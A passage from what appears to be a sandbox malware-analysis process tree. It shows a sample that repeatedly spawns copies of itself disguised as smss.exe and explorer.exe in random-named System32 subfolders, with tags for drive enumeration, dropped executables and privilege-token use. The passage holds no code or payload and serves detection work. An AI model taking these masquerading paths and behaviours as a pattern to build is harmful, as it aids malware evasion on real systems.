C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:6708 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6528
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:7220
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7932
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8292
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9200
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9932
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10852
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11980
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13280
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14512
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16336
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20440
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18556
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16728
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18720
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵
- Drops file in System32 directory
PID:5468 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5796
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:5184 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Enumerates connected drives
PID:3712 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Drops file in System32 directory
PID:6208 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵
- Drops file in System32 directory
PID:6632 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:1168
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:4480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8260
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9160
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9852
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10756
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11840
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14388
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16144
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20300
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18336
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15216
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18792
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:5124
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5520
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5856
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:5276 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:4416
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6280
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6716
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:1432
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Enumerates connected drives
PID:7228 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7952
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8300
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8128
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9904
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11832
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13232
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14608
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:5356
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20456
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18564
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15184
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16936
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19372
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13728
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15348
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17216
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19192
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵
- Enumerates connected drives
PID:912 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:4344
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5808
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5152
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:2032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6252
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6692
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6524
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:7204
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7920
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8224
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9132
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9772
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10688
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11724
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13132
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14564
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15660
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18272
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:6448
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20408
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:5424
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16636
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18456
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15168
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17012
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19184
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13712
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15200
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16820
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18784
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:5232
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5884
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:3048 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:1044
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Enumerates connected drives
PID:4084 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5440
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5768
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:6088 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Enumerates connected drives
PID:5952 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Drops file in System32 directory
PID:3732 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6564
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:7108
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Enumerates connected drives
PID:4628 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵
- Enumerates connected drives
PID:7748 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:4808
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8932
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9576
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10576
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11736
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13260
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14616
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:5432
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20152
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16576
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18512
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15160
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16944
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18904
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15092
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16868
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19060
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12200
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13680
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15236
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17040
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19236
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:4952
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12248
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13668
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15244
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16996
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19392
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2552 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:1792 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵
- Drops file in System32 directory
PID:4556 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Drops file in System32 directory
PID:4736 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5816
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Enumerates connected drives
PID:5212 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Enumerates connected drives
PID:6076 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:6240 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6672
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:4404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:7176 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7880
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:7892
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9116
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9796
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10628
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11800
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13004
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14404
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16224
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20340
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:6072
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:16672
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18636
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:15192
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:16916
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19120
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe14⤵PID:13748
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15316
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17020
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19520
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe13⤵PID:12284
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13872
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:4288
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17396
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19512
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe12⤵PID:11048
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12120
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13796
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:5840
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17096
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:18960
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe11⤵PID:10136
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵PID:1180
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵PID:12304
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:13856
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵PID:15256
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:17208
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:19176
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1108 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4208 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Drops file in System32 directory
PID:4264 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵
- Drops file in System32 directory
PID:4840 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:5192 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵PID:5564
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵
- Drops file in System32 directory
PID:5912 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:4540
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Drops file in System32 directory
PID:5316 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Drops file in System32 directory
PID:6316 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6752
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6628
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Drops file in System32 directory
PID:7276 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7988
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8320
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8308
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9912
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11876
-
